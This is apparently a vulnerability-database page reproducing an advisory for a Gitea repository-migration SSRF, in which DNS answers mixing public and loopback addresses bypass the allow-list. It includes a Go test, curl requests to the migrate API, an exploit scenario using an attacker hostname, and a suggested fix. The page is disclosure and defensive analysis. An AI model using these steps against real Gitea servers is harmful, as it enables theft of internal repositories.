Gitea
CVE-2026-58442
MEDIUM
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Network API exploited by authenticated low-privilege user; attacker controls DNS so AC:L; only confidentiality impact via internal repository exfiltration, no integrity or availability effect.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
Details
The issue is in services/migrations/migrate.go, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}This means a hostname resolving to both:
- an allowed public IP, e.g.
1.2.3.4 - a blocked internal IP, e.g.
127.0.0.1
passes validation because the public IP sets ipAllowed = true.
The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
PoC
I verified the vulnerable predicate locally against Gitea checkout:
e8654c7e062431a521636703f47339cde64644fdusing Dockerized Go tests with golang:1.26.4.
The local test proves:
checkByAllowBlockList("loopback.example.test", [127.0.0.1])is rejected.checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])is accepted.
Minimal reproducer at the validation layer:
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}To reproduce end-to-end:
- Run Gitea with repository migration enabled and
ALLOW_LOCALNETWORKS = false. - Create a normal non-admin user that can create repositories.
- Run an internal Git HTTP service reachable only from the Gitea server, for example on
127.0.0.1:18082. - Configure an attacker-controlled hostname so that DNS can return both a public address and
127.0.0.1, or can return a public address during Gitea's pre-flight validation and127.0.0.1during the later git clone. - Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'Expected direct result:
{"message":"You can not import from disallowed hosts."}- Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if any resolved IP is blocked
- require all resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and
git clone
For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}AnalysisAI
Server-side request forgery in Gitea's repository migration feature allows authenticated low-privilege users to bypass the SSRF allow/block-list filter by supplying an attacker-controlled DNS hostname that returns both a permitted public IP and a blocked private or loopback IP. Because the pre-flight validation accepts the hostname if any single resolved IP is permitted (OR logic), and because the subsequent git clone --mirror subprocess performs an independent DNS resolution with no binding to the validated IP set, an attacker can cause Gitea to connect to internal-only Git services and exfiltrate their contents into an attacker-controlled repository. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires all of the following: (1) the attacker holds an authenticated low-privilege Gitea account with permission to create repository migrations (PR:L per CVSS); (2) the Gitea instance has `ALLOW_LOCALNETWORKS = false` - the SSRF filter must be active, which is the default configuration; (3) the attacker controls a DNS hostname configured to return at least one allowed public IP alongside one or more blocked private or loopback IPs in the same response, or can perform DNS rebinding between the pre-flight validation and the subsequent `git clone` resolution; (4) an internal Git-compatible HTTP service is reachable from the Gitea server host. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) reflects network exploitability by authenticated low-privilege users with high confidentiality impact and no user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a low-privilege Gitea account configures an attacker-controlled DNS hostname (e.g., `mixed.attacker.example`) to return both a legitimate public IP address and `127.0.0.1` in the same DNS response. The attacker submits a migration API request pointing to `http://mixed.attacker.example:18082/repo.git`; Gitea's pre-flight validation accepts it because the public IP satisfies the allow-list OR check. … |
| Remediation | Vendor-released patch: Gitea v1.27.0, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-h2x6-g7q6-344v